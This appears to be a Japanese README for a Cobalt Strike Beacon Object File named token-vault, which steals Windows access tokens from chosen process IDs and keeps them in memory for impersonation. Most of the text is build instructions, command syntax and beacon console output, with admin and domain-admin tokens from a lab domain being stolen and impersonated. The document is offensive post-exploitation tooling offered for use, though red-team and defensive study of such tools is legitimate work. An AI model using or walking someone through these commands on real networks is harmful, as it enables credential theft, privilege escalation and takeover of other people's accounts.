
Cobalt Strike 用のインメモリトークンボールト BOF
この Beacon Object File (BOF) は、窃取・複製した Windows アクセストークンをインメモリ上に保存する機能を提供します。これにより、以下のことが可能になります。
make all でビルドします。token-vault.cna アグレッサスクリプトを Cobalt Strike クライアントにロードします。beacon> help token-vault
Available Commands:
Create a new token vault: token-vault create
Steal and store tokens: token-vault steal <comma separated list of PIDs> [vault-id]
Use the stored token: token-vault use <token-id> [vault-id]
Show the stored tokens: token-vault show [vault-id]
Remove the stored token: token-vault remove <token-id> [vault-id]
Remove all tokens: token-vault remove-all [vault-id]
Set the default token vault: token-vault set <vault-id>
token-vault create コマンドは、ビーコンのヒープから空のボールトを割り当てます。
受け取った出力には、ボールトのメモリアドレス(別名 vault id)が含まれており、この ID を使って他の token-vault コマンドに対してボールトを指定します。
beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610
さらに、特定の vault id をデフォルトのボールトとして設定できます。デフォルトのボールトは、token-vault コマンドに vault id が含まれていない場合に使用されます。
beacon> token-vault set 0000000000C31610
重要な注意点として、設定されたデフォルトのボールトは Cobalt Strike クライアント内に保持され、複数のクライアント間では共有されません。
token-vault steal コマンドは、指定したプロセスのトークンを複製し、ボールトに保存します。
beacon> token-vault steal 6600,2608,5248
[*] Token Vault - steal (@henkru)
[+] host called home, sent: 3009 bytes
[+] received output:
6600: WINLAB\limited
[+] received output:
2608: WINLAB\limited2
[+] received output:
5248: WINLAB\admin
beacon> token-vault show
[*] Token Vault - show (@henkru)
[+] host called home, sent: 2999 bytes
[+] received output:
5248: WINLAB\admin
2608: WINLAB\limited2
6600: WINLAB\limited
token-vault use コマンドは、ボールト内のトークンを偽装します。トークンが存在しない場合は、そのトークンを窃取してボールトに保存します。
beacon> token-vault use 2608
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[+] Impersonated WINLAB\limited
beacon> token-vault use 6384
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[-] token of 6384 not in the vault; try to get it.
[+] received output:
6384: WINLAB\da
[+] Impersonated WINLAB\da
token-vault remove コマンドは、ボールトから保存済みトークンを削除します。
beacon> token-vault remove 6600
[*] Token Vault - remove (@henkru)
[+] host called home, sent: 3001 bytes
[+] received output:
removed: 6600
さらに、token-vault remove-all コマンドは、すべてのトークンを一度に削除します。